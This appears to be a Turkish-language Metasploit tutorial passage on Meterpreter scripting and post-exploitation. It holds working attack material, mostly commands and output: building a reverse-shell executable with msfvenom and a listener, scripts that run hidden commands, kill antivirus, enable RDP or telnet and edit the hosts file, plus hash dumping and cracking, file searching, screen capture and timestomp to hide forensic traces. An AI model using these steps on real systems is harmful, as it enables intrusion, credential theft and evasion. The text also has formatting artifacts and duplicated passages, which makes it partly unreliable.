Yukarıdaki satırlar, standart veri girişi ve hata mesajları için kullanıma bir örnek oluşturmaktadır. Oluşturduğumuz kodları çalıştıralım.
meterpreter > run helloworld
> Hello World
**[**-] this is an error!
this is a line
meterpreter >
helloworld.rb
Script kod dosyamız en son olarak aşağıdaki gibi olmalıdır.
print_status("Hello World")print_error("this is an error!")print_line("This is a line")
Şimdi kodumuza bir fonksiyon ekleyelim. Bu fonksiyonda, bir kaç temel bilgi elde edeceğiz ve hata kontrol özelliği ekleyeceğiz. Oluşturacağımız mimarinin yapısı aşağıdaki gibi olacaktır.
def geninfo**(**session**)**
begin
…..
rescue ::Exception **=>** e
…..
end
end
Bu yapıyı oluşturmak için dosyayı aşağıdaki şekilde düzenlemeniz yeterlidir. Bu düzenlemeleri yaptıktan sonra helloworld.rb dosyamızın içeriği aşağıdaki gibi olacaktır.
def getinfo**(**session**)**
begin
sysnfo **=** session.sys.config.sysinfo
runpriv **=** session.sys.config.getuid
print_status**(**"Getting system information ..."**)**
print_status**(**"tThe target machine OS is #{sysnfo['OS']}"**)**
print_status**(**"tThe computer name is #{'Computer'} "**)**
print_status**(**"tScript running as #{runpriv}"**)**
rescue ::Exception **=>** e
print_error**(**"The following error was encountered #{e}"**)**
end
end
Bu kodların ne işlem yaptığını adım adım açıklayalım. Öncelikle, değerleri session değişkeninden alan getinfo(session) isimli bir foksiyon tanımladık. Bu session değişkeni, bir takım metodları ihtiva etmektedir. sysnfo = session.sys.config.sysinfo satırı sistem bilgisini getirirken runpriv = session.sys.config.getuid kullanıcı bilgisini elde etmekte kullanılmaktadır. Ayrıca, hata durumlarını yönetici istisna yöneticisi bulunmaktadır.
helloworld2.rb
İlk oluşturduğumuz dosyaya ufak bir ilave yaparak helloworld2.rb dosyası üretelim. helloworld2.rb dosyası, az önce oluşturduğumuz dosyanın sonuna getinfo(client) satırının eklenmiş halidir. Bu satırı ekleyip dosyayı helloworld2.rb olarak kayıt edelim. Dosyanın son hali aşağıdaki gibi olmalıdır.
def getinfo**(**session**)**
begin
sysnfo **=** session.sys.config.sysinfo
runpriv **=** session.sys.config.getuid
print_status**(**"Getting system information ..."**)**
print_status**(**"tThe target machine OS is #{sysnfo['OS']}"**)**
print _status**(**"tThe computer name is #{'Computer'} "**)**
print_status**(**"tScript running as #{runpriv}"**)**
rescue ::Exception **=>** e
print_error**(**"The following error was encountered #{e}"**)**
end
end
getinfo**(**client**)**
Şimdi hazırladığımız helloworld2.rb dosyamızı Meterpreter oturumunda çalıştıralım.
meterpreter > run helloworld2
> Getting system information ...
> The target machine OS is Windows XP **(**Build 2600, Service Pack 3**)**.
> The computer name is Computer
> Script running as WINXPVM01labuser
Gördüğünüz gibi helloworld2.rb scripti ile bir takım sistem bigilerini ele etmiş olduk.
helloworld3.rb
Yukarıda oluşturduğumuz iki örnek kod dosyasından sonra şimdi başka bir örnek scripte bakalım. Bu script dosyasını metin editorü ile oluşturabilirsiniz. İçeriği aşağıdaki gibi olmalıdır.
def list_exec**(**session,cmdlst**)**
print_status**(**"Running Command List ..."**)**
r**=**'' session.response_timeout**=**120
cmdlst.each **do** |cmd| begin
print_status "running command #{cmd}" r **=** session.sys.process.execute**(**"cmd.exe /c #{cmd}", nil, **{**'Hidden' **=>** true, 'Channelized' **=>** true**})**
**while****(**d **=** r.channel.read**)** print_status**(**"t#{d}"**)**
end
r.channel.close
r.close
rescue ::Exception **=>** e
print_error**(**"Error Running Command #{cmd}: #{e.class} #{e}"**)**
end
end
end commands **=** **[** "set",
"ipconfig /all",
"arp -a"**]** list_exec**(**client,commands**)**
Yukarıdaki kodların ne işlemler yaptığına kısaca bakalım. Öncelikle, list_exec isimli bir fonksiyon tanımlanmıştır. Bu fonksiyon, session ve cmdlist isimli iki değişken almaktadır. cmdlist değişkeninin array yöntemiyle bir dizi komutlar olduğu, kodlardan anlaşılmaktadır. Bu komutlar, sırayla değişkenden alınacak cmd.exe üzerinden hedef sistemde çalıştırılacaktır. Sistemin donma ve tepkisiz kalma durumunu önlemek için session.response_timeout=120 120 saniye bekleme süresi tanımlanmıştır. Önceki script kodunda olduğu gibi hata kontrol satırı da bulunmaktadır.
cmdlist dizi değişkeni aslında aşağıda gösterilen komutları sırayla çalıştırmaktadır.
Gördüğünüz gibi, Ruby kodlarıyla script oluşturmak aslında çok kolay. İlk başta kodlar biraz karışık gelebilir ancak mevcut koldarı biraz çalıştığınızda aşinalık kazanacaksınız. Devamında yapmanız gereken, kod örneklerinden faydalanarak kendi script dosyanızı oluşturmak ve denemektir.
2.21 - MSF Meterpreter Script Yazma
Öncelile, yeni bir script yazarken dikkat edilmesi gereken bir takım kuralları görelim. Tüm Windows sürümleri aynı değildir. Bazı Windows sürümleri, güvenlik tedbirleri barındırırlar. Windows Scriptleri, sürüme bağlı olarak farklı davranış gösterirler. Script yazarken Windows sürümüne özel davranmanız gerekebilir.
Script Yazma
Öncelile, yeni bir script yazarken dikkat edilmesi gereken bir takım kuralları görelim.
Tüm Windows sürümleri aynı değildir.
Bazı Windows sürümleri, güvenlik tedbirleri barındırırlar.
Windows Scriptleri, sürüme bağlı olarak farklı davranış gösterirler.
Script yazarken Windows sürümüne özel davranmanız gerekebilir.
Yukarıda belirtilen kuralları göz önünde bulundurarak, hedefe özel script yazmak gerekmektedir. Bu durumda yazacağımız script doğru çalışabilir.
Şimdi, aşağıdaki komut ile çalıştırılabilir bir .exe dosyası oluşturalım. Bu program, hedef sistemde çalışacak ve yerel bilgisayarımıza reverse bağlantı açacaktır.
root@kali:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST**=**192.168.1.101 -b "\x00" -f exe -o Meterpreter.exe
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 326 **(**iteration**=**0**)**
x86/shikata_ga_nai chosen with final size 326Payload size: 326 bytes
Saved as: Meterpreter.exe
Gerekli .exe dosyamız oluşturuldu. Bu dosya hedef windows işletim sistemi içinde çalışacak ve yerel bilgisayara iletişim sağlayacaktır. O zaman bizim yerel bilgisayarda dinleyici oluşturmamız gerekmektedir. Dinleyicimizi oluşturalım.
root@kali:~# touch meterpreter.rc
root@kali:~# echo use exploit/multi/handler **>>** meterpreter.rc
root@kali:~# echoset PAYLOAD windows/meterpreter/reverse_tcp **>>** meterpreter.rc
root@kali:~# echoset LHOST 192.168.1.184 **>>** meterpreter.rc
root@kali:~# echoset ExitOnSession false **>>** meterpreter.rc
root@kali:~# echo exploit -j -z **>>** meterpreter.rc
root@kali:~# cat meterpreter.rc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.184
set ExitOnSession falseexploit -j -z
Dikkat ederseniz komutlarla, multi handler modülünü dinleyici olarak ayarladık. Payload modülü olarak reverse_tcp modülü kulandık. Yerel IP adresi olarak 192.168.1.184 ayarladık.
Yeni yazdığımız scriptleri /usr/share/metasploit-framework/scripts/meterpreter klasörüne kayıt edersek, kolayca kullanabiliriz.
Şimdi yapmamız gereken, msfconsole programını yeni oluşturduğumuz meterpreter.rc dosyasını kaynak göstererek başlatmak.
root@kali:~# msfconsole -r meterpreter.rc
**=[** metasploit v4.8.2-2014021901 **[**core:4.8 api:1.0] **]**
+ -- --**=[** 1265 exploits - 695 auxiliary - 202 post **]**
+ -- --**=[** 330 payloads - 32 encoders - 8 nops **]**
resource> use exploit/multi/handler
resource> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD **=>** windows/meterpreter/reverse_tcp
resource> set LHOST 192.168.1.184
LHOST **=>** 192.168.1.184
resource> set ExitOnSession falseExitOnSession **=>** falseresource> exploit -j -z
> Handler binding to LHOST 0.0.0.0
> Started reverse handler
> Starting the payload handler...
Yukarıda gördüğünüz gibi Metasploit Framework dinleme yaparak başlamıştır. Artık, oluşturduğumuz .exe dosyasını Windows içerisinde çalıştırdığımızda, oturum aktif hale gelecektir.
Meterpreter komut satırının güçlü yönlerinden bir tanesi de çok yönlülük ve dışarıdan başka script kodlarının kolayca adapte edilebilmesidir. Bu yazıda, Meterpreter içinde öncelikle mevcut kodların neler olduğunu göreceğiz. Ardından ilerleyen yazılarda, ihtiyaca göre kendi script kodlarımızı oluşturmayı göreceğiz.
Meterpreter Scripting
Meterpreter komut satırının güçlü yönlerinden bir tanesi de çok yönlülük ve dışarıdan başka script kodlarının kolayca adapte edilebilmesidir. Bu yazıda, Meterpreter içinde öncelikle mevcut kodların neler olduğunu göreceğiz. Ardından ilerleyen yazılarda, ihtiyaca göre kendi script kodlarımızı oluşturmayı göreceğiz.
Metasploit Framework sisteminin tamamında olduğu gibi Meterpreter script kodları da Ruby programlama diliyle yazılmaktadır. Ruby hakkında yeterli bilgi sahibi değilseniz, Ruby Programlama web sitesini bir miktar incelemenizi tavsiye ediyorum.
Metasploit Framework içerisinde mevcut bulunan scriptleri incelemek isterseniz, Github adresini inceleyebilirsiniz. Mevcut scriptlerin incelenmesi bizim çok işimize yarayacaktır. Muhtemelen, sizin yapmak istediğiniz işleme ait bir örnek kod parçası mevcut scriptlerin içinde bulunmaktadır. Buradan istediğiniz kod bölümünü alarak kullanmak en mantıklı yaklaşım olacaktır.
Mevcut Scriptler
Aşağıda, bir kaç script örneği ve ne gibi işlemler yaptığı açıklanmıştır. Bu doğrultuda Ruby kodlarını inceleyebilirsiniz.
Meterpreter scriptlerinin kullanımı için, hedef sistemde bir şekilde Meterpreter oturumu açmış olmanız gerekmektedir. Anlatımlarda, oturum açtığınız kabul edilmiştir.
checkvm
checkvm scripti, adından da anlaşılacağı gibi, oturumu bir sanal makinede açıp açmadığınızı kontrol etmekte kullanılır.
meterpreter > run checkvm > Checking **if **SSHACKTHISBOX-0 is a Virtual Machine ........
> This is a VMware Workstation/Fusion Virtual Machine
getcountermeasure
getcountermeasure scripti, hedef sistemin güvenlik bilgisini görmeyi sağlar. Antivirüs veya Firewall u devre dışı bırakmanıza yardım eder.
meterpreter > run getcountermeasure > Running Getcountermeasure on the target...
> Checking **for **contermeasures...
> Getting Windows Built **in **Firewall configuration...
>
> Domain profile configuration:
> -------------------------------------------------------------------
> Operational mode **=** Disable
> Exception mode **=** Enable
>
> Standard profile configuration:
> -------------------------------------------------------------------
> Operational mode **=** Disable
> Exception mode **=** Enable
>
> Local Area Connection 6 firewall configuration:
> -------------------------------------------------------------------
> Operational mode **=** Disable
>
> Checking DEP Support Policy...
getgui
getgui scripti, hedef bilgisayarda RDP özelliği kapalıysa açmayı sağlar.
meterpreter > run getgui
**[!]** Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
**[!]** Example: run post/windows/manage/enable_rdp OPTION**=**value **[**...]Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u -p
Or: getgui -e
OPTIONS:
-e Enable RDP only.
-f Forward RDP Connection.
-h Help menu.
-p The Password of the user to add.
-u The Username of the user to add. meterpreter > run getgui -e > Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
> Carlos Perez carlos_perez@darkoperator.com
> Enabling Remote Desktop
> RDP is already enabled
> Setting Terminal Services service startup mode
> Terminal Services service is already set to auto
> Opening port **in **local firewall **if **necessary
get_local_subnets
get_local_subnets scripti, hedef bilgisayarın yerel subnet bilgilerini elde etmeyi sağlar. Bu bilgiler pivoting işlemlerinde kullanılabilir.
meterpreter > run get_local_subnets
Local subnet: 10.211.55.0/255.255.255.0
gettelnet
gettelnet scripti, hedef bilgisayarda telnet özeliği kapalıysa, açmaya yarar.
meterpreter > run gettelnet
Windows Telnet Server Enabler Meterpreter Script
Usage: gettelnet -u -p
OPTIONS:
-e Enable Telnet Server only.
-f Forward Telnet Connection.
-h Help menu.
-p The Password of the user to add.
-u The Username of the user to add.
meterpreter > run gettelnet -e
> Windows Telnet Server Enabler Meterpreter Script
> Setting Telnet Server Services service startup mode
> The Telnet Server Services service is not set to auto, changing it to auto ...
> Opening port **in **local firewall **if **necessary
hostsedit
hostsedit scripti, Windows hosts dosyasına bilgi girmeye yarar. Bağlanılmak istenen web adreslerinin DNS adresleri için önce bu hosts dosyasına bakılır. Hedef bilgisayarı istenen adrese yönlendirmek için kullanılır. Her satıra bir adres girilmelidir.
meterpreter > run hostsedit
**[!]** Meterpreter scripts are deprecated. Try post/windows/manage/inject_host.
**[!]** Example: run post/windows/manage/inject_host OPTION**=**value **[**...]This Meterpreter script is **for **adding entries **in **to the Windows Hosts file.
Since Windows will check first the Hosts file instead of the configured DNS Server
it will assist **in **diverting traffic to the fake entry or entries. Either a single
entry can be provided or a series of entries provided a file with one per line.
OPTIONS:
-e Host entry **in **the format of IP,Hostname.
-h Help Options.
-l Text file with list of entries **in **the format of IP,Hostname. One per line.
Example:
run hostsedit -e 127.0.0.1,google.com
run hostsedit -l /tmp/fakednsentries.txt meterpreter > run hostsedit -e 10.211.55.162,www.microsoft.com
> Making Backup of the hosts file.
> Backup loacated **in **C:\WINDOWS\System32\drivers\etc\hosts62497.back
> Adding Record **for **Host <a href="http://www.microsoft.com/">www.microsoft.com</a> with IP 10.211.55.162
> Clearing the DNS Cache
killav
killav scripti, sistemde bir servis olarak çalışan Antivirüs programlarını devre dışı bırakmada kullanılır.
meterpreter > run killav > Killing Antivirus services on the target...
> Killing off cmd.exe...
remotewinenum
remotewinenum scripti, hedef sistem hakkında bilgi etmek için kullanılır.
meterpreter > run remotewinenum
**[!]** Meterpreter scripts are deprecated. Try post/windows/gather/wmic_command.
**[!]** Example: run post/windows/gather/wmic_command OPTION**=**value **[**...]Remote Windows Enumeration Meterpreter Script
This script will enumerate windows hosts **in **the target enviroment
given a username and password or using the credential under witch
Meterpeter is running using WMI wmic windows native tool.
Usage:
OPTIONS:
-h Help menu.
-p Password of user on target system
-t The target address
-u User on the target system **(**If not provided it will use credential of process**)** meterpreter > run remotewinenum -u administrator -p ihazpassword -t 10.211.55.128 > Saving report to /root/.msf4/logs/remotewinenum/10.211.55.128_20090711.0142
> Running WMIC Commands ....
> running command wimic environment list
> running command wimic share list
> running command wimic nicconfig list
> running command wimic computersystem list
> running command wimic useraccount list
> running command wimic group list
> running command wimic sysaccount list
> running command wimic volume list brief
> running command wimic logicaldisk get description,filesystem,name,size
> running command wimic netlogin get name,lastlogon,badpasswordcount
> running command wimic netclient list brief
> running command wimic netuse get name,username,connectiontype,localname
> running command wimic share get name,path
> running command wimic nteventlog get path,filename,writeable
> running command wimic service list brief
> running command wimic process list brief
> running command wimic startup list full
> running command wimic rdtoggle list
> running command wimic product get name,version
> running command wimic qfe list
scraper
scraper scripti, remotewinenum ile elde edilen bilgiden daha fazlasını elde etmeye yarar. Elde edilen bilgilerin içinde registry kayıtları da bulunur.
meterpreter > run scraper > New session on 10.211.55.128:4444...
> Gathering basic system information...
> Dumping password hashes...
> Obtaining the entire registry...
> Exporting HKCU
> Downloading HKCU **(**C:\WINDOWS\TEMP\LQTEhIqo.reg**)**
> Cleaning HKCU
> Exporting HKLM
> Downloading HKLM **(**C:\WINDOWS\TEMP\GHMUdVWt.reg**)**
Yukarıdaki örneklerde görüldüğü gibi, Meterpreter script kodlarıyla oldukça detaylı bilgi toplanabilmektedir. Bunun yanında Antivirüs veya Firewall iptal etmede de kullanılmaktadır.
winenum
winenum scripti, sistem hakkında en detaylı bilgiyi elde etmede kullanılabilir. Token, hash bilgileri ve diğer tüm bilgileri winenum scripti ile görebilirsiniz.
meterpreter > run winenum > Running Windows Local Enumerion Meterpreter Script
> New session on 10.211.55.128:4444...
> Saving report to /root/.msf4/logs/winenum/10.211.55.128_20090711.0514-99271/10.211.55.128_20090711.0514-99271.txt
> Checking **if **SSHACKTHISBOX-0 is a Virtual Machine ........
> This is a VMware Workstation/Fusion Virtual Machine
> Running Command List ...
> running command cmd.exe /c set > running command arp -a
> running command ipconfig /all
> running command ipconfig /displaydns
> running command route print
> running command net view
> running command netstat -nao
> running command netstat -vb
> running command netstat -ns
> running command net accounts
> running command net accounts /domain
> running command net session
> running command net share
> running command net group
> running command net user
> running command net localgroup
> running command net localgroup administrators
> running command net group administrators
> running command net view /domain
> running command netsh firewall show config
> running command tasklist /svc
> running command tasklist /m
> running command gpresult /SCOPE COMPUTER /Z
> running command gpresult /SCOPE USER /Z
> Running WMIC Commands ....
> running command wmic computersystem list brief
> running command wmic useraccount list
> running command wmic group list
> running command wmic service list brief
> running command wmic volume list brief
> running command wmic logicaldisk get description,filesystem,name,size
> running command wmic netlogin get name,lastlogon,badpasswordcount
> running command wmic netclient list brief
> running command wmic netuse get name,username,connectiontype,localname
> running command wmic share get name,path
> running command wmic nteventlog get path,filename,writeable
> running command wmic process list brief
> running command wmic startup list full
> running command wmic rdtoggle list
> running command wmic product get name,version
> running command wmic qfe
> Extracting software list from registry
> Finished Extraction of software list from registry
> Dumping password hashes...
> Hashes Dumped
> Getting Tokens...
> All tokens have been processed
> Done!```
2.23 - MSF İçinde John The Ripper
John The Ripper programı, karmaşık algoritmalı parolaları çözmek için kullanılan bir programdır. Bir takım kelime listelerini kullanarak hash olarak kaydedilmiş kodları çözmeye çalışır.
John the Ripper
John The Ripper programı, karmaşık algoritmalı parolaları çözmek için kullanılan bir programdır. Bir takım kelime listelerini kullanarak hash olarak kaydedilmiş kodları çözmeye çalışır.
Metasploit içerisinde de John The Ripper kullanabilirsiniz. Burada kullanılacak John the Ripper, basit algoritmalarla ilgilenir. Çok karmaşık ve ileri düzey hash kodları için Metasploit dışında çalışmanız gerektiğini belirtelim. Metasploit içindeki John the Ripper, sadece LM veya NTLM hash kodlarını çözmek için başlangıç düzeyinde işlem yapmanıza yarar. Bir örnekle görelim.
Öncelikle hedef bilgisayarda meterpreter oturum açtığımızı kabul ediyoruz. session 1 olarak aktif halde olan oturum için post/windows/gather/hashdump modülünü aktif hale getirip hash bilgilerini alalım.
msf auxiliary**(**handler**)** > use post/windows/gather/hashdump
msf post**(**hashdump**)** > set session 1session **=>** 1msf post**(**hashdump**)** > run
> Obtaining the boot key...
> Calculating the hboot key using SYSKEY bffad2dcc991597aaa19f90e8bc4ee00...
> Obtaining the user list and keys...
> Decrypting user keys...
> Dumping password hashes...
Administrator:500:cb5f77772e5178b77b9fbd79429286db:b78fe104983b5c754a27c1784544fda7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:810185b1c0dd86dd756d138f54162df8:7b8f23708aec7107bfdf0925dbb2fed7:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:8be4bbf2ad7bd7cec4e1cdddcd4b052e:::
rAWjAW:1003:aad3b435b51404eeaad3b435b51404ee:117a2f6059824c686e7a16a137768a20:::
rAWjAW2:1004:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
> Post module execution completed
Hash bilgilerini ekranda görebilirsiniz. Şimdi auxiliary/analyze/jtr_crack_fast modülünü kullanalım.
msf post**(**hashdump**)** > use auxiliary/analyze/jtr_crack_fast
msf auxiliary**(**jtr_crack_fast**)** > run
> Seeded the password database with 8 words...
guesses: 3 time: 0:00:00:04 DONE **(**Sat Jul 16 19:59:04 2011**)** c/s: 12951K trying: WIZ1900 - ZZZ1900
Warning: passwords printed above might be partial and not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
> Output: Loaded 7 password hashes with no different salts **(**LM DES **[**128/128 BS SSE2]**)**
> Output: D **(**cred_6:2**)**
> Output: PASSWOR **(**cred_6:1**)**
> Output: GG **(**cred_1:2**)**
Warning: mixed-case charset, but the current hashtype is **case**-insensitive;some candidate passwords may be unnecessarily tried more than once.
guesses: 1 time: 0:00:00:05 DONE **(**Sat Jul 16 19:59:10 2011) c/s: 44256K trying: **||**V**}** - **||**|**}**
Warning: passwords printed above might be partial and not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
> Output: Loaded 7 password hashes with no different salts **(**LM DES **[**128/128 BS SSE2]**)**
> Output: Remaining 4 password hashes with no different salts
> Output: **(**cred_2**)**
guesses: 0 time: 0:00:00:00 DONE **(**Sat Jul 16 19:59:10 2011**)** c/s: 6666K trying: 89093 - 89092> Output: Loaded 7 password hashes with no different salts **(**LM DES **[**128/128 BS SSE2]**)**
> Output: Remaining 3 password hashes with no different salts
guesses: 1 time: 0:00:00:11 DONE **(**Sat Jul 16 19:59:21 2011**)** c/s: 29609K trying: zwingli1900 - password1900
Use the "--show" option to display all of the cracked passwords reliably
> Output: Loaded 6 password hashes with no different salts **(**NT MD4 **[**128/128 SSE2 + 32/32]**)**
> Output: password **(**cred_6**)**
guesses: 1 time: 0:00:00:05 DONE **(**Sat Jul 16 19:59:27 2011**)** c/s: 64816K trying: **||**|**}**
Use the "--show" option to display all of the cracked passwords reliably
> Output: Loaded 6 password hashes with no different salts **(**NT MD4 **[**128/128 SSE2 + 32/32]**)**
> Output: Remaining 5 password hashes with no different salts
> Output: **(**cred_2**)**
guesses: 0 time: 0:00:00:00 DONE **(**Sat Jul 16 19:59:27 2011**)** c/s: 7407K trying: 89030 - 89092> Output: Loaded 6 password hashes with no different salts **(**NT MD4 **[**128/128 SSE2 + 32/32]**)**
> Output: Remaining 4 password hashes with no different salts
**[**+] Cracked: Guest: **(**192.168.184.134:445**)**
**[**+] Cracked: rAWjAW2:password **(**192.168.184.134:445**)**
> Auxiliary module execution completed
msf auxiliary**(**jtr_crack_fast**)** >
Görüldüğü gibi 192.168.184.134 IP adresinde Guest kullanıcısı için parola rAWjAW2 olarak bulundu.
2.24 - MSF İçerik Araştırması
Hedef bilgisayarda meterpreter shell açtıktan sonra yapılacak işlemlerden birisi de bilgisayar bulunan dosyaları araştırmaktır. Firmalar, kullanıcılarını bilgilerinin güvenliğini sağlamaları konusunda eğitirler. Bu eğitim konularından birisi de hassas bilgileri paylaşımlı sunucularda değil de yerel bilgisayarlarda tutmaktır. İçerik araştırması da genelde bu tarz hassas bilgilerin olduğu dosya ve klasörleri keşfetmek için yapılır.
İçerik Araştırması
Hedef bilgisayarda meterpreter shell açtıktan sonra yapılacak işlemlerden birisi de bilgisayar bulunan dosyaları araştırmaktır. Firmalar, kullanıcılarını bilgilerinin güvenliğini sağlamaları konusunda eğitirler. Bu eğitim konularından birisi de hassas bilgileri paylaşımlı sunucularda değil de yerel bilgisayarlarda tutmaktır. İçerik araştırması da genelde bu tarz hassas bilgilerin olduğu dosya ve klasörleri keşfetmek için yapılır.
Meterpreter oturumunun sunduğu search komutu ile ilgili birkaç örnek inceleyelim.
search -h komutuyla search hakkında yardım bilgilerini görüntüleyebilirsiniz.
meterpreter > search -h
Usage: search **[**-d dir**]** **[**-r recurse] -f pattern
Search **for **files.
OPTIONS:
-d The directory/drive to begin searching from. Leave empty to search all drives. **(**Default: **)**
-f The file pattern glob to search **for**. **(**e.g. *****secret*****.doc?**)**
-h Help Banner.
-r Recursivly search sub directories. **(**Default: true**)**
Açıklamalar
-d: Arama yapılacak klasörü belirtir. Boş bırakılırsa tüm klasörler aranır.
-f: Belli bir dosya paterni belirtmek için kullanılır.
-h: Yardımı görüntüler.
-r: Arama, belirtilen klasör ve tüm alt klasörlerinde gerçekleştirilir. Varsayılan olarak zaten aktif durumdadır.
Aşağıdaki örnek komut, tüm disk bölümlerinde, klasör ve alt klasörlerde .jpg uzantılı dosyaları arayacaktır.
meterpreter > search -f *****.jpg
Found 418 results...
...snip...
c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg **(**28521 bytes**)**
c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Sunset.jpg **(**71189 bytes**)**
c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Water lilies.jpg **(**83794 bytes**)**
c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Winter.jpg **(**105542 bytes**)**
...snip...
search komutunda varsayılan olarak tüm klasörler aranmaktadır ancak bu işlem çok zaman alır. Ayrıca, hedef bilgisayar kullanıcısı bilgisayarının yavaşladığını fark edebilir. Bu nedenle, -d seçeneğini kullanarak arama yapılacak klasörü belirtmek hem zaman kazandırır hem de sistemin işlem yükünü hafifletir. Aşağıda buna bir örnek kullanımı görebilirsiniz. Komutu girerken klasör ayırıcı işaretini \\ şeklinde girdiğimize dikkat edin.
meterpreter > search -d c:\\documents\ and\ settings\\administrator\\desktop\\ -f *****.pdf
Found 2 results...
c:\documents and settings\administrator\desktop\operations_plan.pdf **(**244066 bytes**)**
c:\documents and settings\administrator\desktop\budget.pdf **(**244066 bytes**)**
meterpreter >
2.25 - MSF Ekran Yakalama
Meterpreter shell oturumunun sağladığı imkanlardan bir tanesi de hedef bilgisayarın Masaüstü görüntüsünü kaydedebilmektir. Bu yöntemle Masaüstü görüntüsü alma, genellikle pentest işlemlerinde ispat olarak kullanılır.
Ekran Yakalama
Meterpreter shell oturumunun sağladığı imkanlardan bir tanesi de hedef bilgisayarın Masaüstü görüntüsünü kaydedebilmektir. Bu yöntemle Masaüstü görüntüsü alma, genellikle pentest işlemlerinde ispat olarak kullanılır.
Meterpreter oturum açtığınızda, oturumu explorer.exe prosesine taşınmalısınız. Aşağıdaki örnekte öncelikle sistemde çalışan programlar kontrol edilmektedir.
Hedef bilgisayarda meterpreter oturum açtığınızı farz ediyoruz. Öncelikle çalışan işlemlere bakalım. Bunun için ps komutunu kullanabilirsiniz.
meterpreter > use espia
Loading extension espia...success.
screengrab komutuyla hedef bilgisayarın Masaüstü görüntüsünü kaydedelim.
meterpreter > screengrab
Screenshot saved to: /root/nYdRUppb.jpeg
meterpreter >
Gördüğünüz gibi Masaüstü resmi yerel bilgisayarımıza kaydedildi. Bu işlemi yaparken explorer.exe veya benzeri şekilde klasör ve dosyalar üzerinde işlem yapabilen bir programa geçiş yapmanız önemlidir. Aksi takdirde screengrab komutu çalışmayabilir.
2.26 - MSF Timestomp
Herhangi bir sistemde pentest yapmak, o sistemle etkileşime girmeyi gerektirir. Gerçekleştirdiğiniz her işlemde, hedef sistemde izler bırakırsınız. Bu bıraktığınız izleri incelemek forensics araştırmacılarının dikkatini çeker. Dosyaların zaman damgaları bunlardan bir tanesidir. Bırakılan bu izleri temizlemek veya en azından karıştırmak için Meterpreter timestomp adı verilen bir komut sağlamaktadır.
TimeStomp Nedir?
Herhangi bir sistemde pentest yapmak, o sistemle etkileşime girmeyi gerektirir. Gerçekleştirdiğiniz her işlemde, hedef sistemde izler bırakırsınız. Bu bıraktığınız izleri incelemek forensics araştırmacılarının dikkatini çeker. Dosyaların zaman damgaları bunlardan bir tanesidir. Bırakılan bu izleri temizlemek veya en azından karıştırmak için Meterpreter timestomp adı verilen bir komut sağlamaktadır.
İz bırakmamanın en iyi yolu sisteme hiç dokunmamaktır. Meterpreter, normal olarak RAM üzerinde çalışır ve diske dokunmaz. Fakat gerçekleştireceğiniz bir takım dosya işlemleri sonucunda ister istemez zaman logları oluşacaktır. Bu yazımızda dosyaların zaman kayıtları üzerinde timestomp komutu kullanılarak oynama yapmayı göreceğiz.
Her dosyanın Windows için Modified, Accesed ve Changed olarak 3 farklı zaman kaydı tutulur. Bunlara baş harflerinden hareetle kısaca MAC zamanları diyebiliriz. Ağ kartının MAC adresi ile karıştırmayın.
Windows içerisinde bir dosyanın MAC zamanlarına bakalım.
File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt
Created Date: 5/3/2009 2:30:08 AM
Last Accessed: 5/3/2009 2:31:39 AM
Last Modified: 5/3/2009 2:30:36 AM
Yukarıda, test.txt isimli dosyanın zaman kayıtlarını görebiliriz. Şimdi, warftpd_165_user modülünü kullanarak bu sistemde Meterpreter oturum açtığımızı farz edelim.
msf exploit**(**warftpd_165_user**)** > exploit
> Handler binding to LHOST 0.0.0.0
> Started reverse handler
> Connecting to FTP server 172.16.104.145:21...
> Connected to target FTP server.
> Trying target Windows 2000 SP0-SP4 English...
> Transmitting intermediate stager **for **over-sized stage...**(**191 bytes**)**
> Sending stage **(**2650 bytes**)**
> Sleeping before handling stage...
> Uploading DLL **(**75787 bytes**)**...
> Upload completed.
> meterpreter session 1 opened **(**172.16.104.130:4444 -> 172.16.104.145:1218**)**
meterpreter > use priv
Loading extension priv...success.
Meterpreter shell açıldıktan sonra timestomp -h komutu ile yardım bilgilerini görüntüleyebilirsiniz.
meterpreter > timestomp -h
Usage: timestomp OPTIONS file_path
OPTIONS:
-a Set the "last accessed"time of the file
-b Set the MACE timestamps so that EnCase shows blanks
-c Set the "creation"time of the file
-e Set the "mft entry modified"time of the file
-f Set the MACE of attributes equal to the supplied file
-h Help banner
-m Set the "last written"time of the file
-r Set the MACE timestamps recursively on a directory
-v Display the UTC MACE values of the file
-z Set all four attributes **(**MACE**)** of the file
Şimdi, yukarıda örneğini verdiğimiz test.txt dosyasının bulunduğu klasöre gidelim.
meterpreter > pwdC:\Program Files\War-ftpd
meterpreter > cd ..
meterpreter > pwdC:Program Files
meterpreter > cd ..
meterpreter > cd Documents\ and\ Settings
meterpreter > cd P0WN3D
meterpreter > cd My\ Documents
meterpreter > ls
Listing: C:\Documents and Settings\P0WN3D\My Documents
**======================================================**
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 .
40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 ..
40555/r-xr-xr-x 0 dir Wed Dec 31 19:00:00 -0500 1969 My Pictures
100666/rw-rw-rw- 28 fil Wed Dec 31 19:00:00 -0500 1969 test.txt
Bulunduğumuz klasördeki test.txt dosyasının zaman bilgilerini -v seçeneği ile görüntüleyebilirsiniz.
meterpreter > timestomp test.txt -v
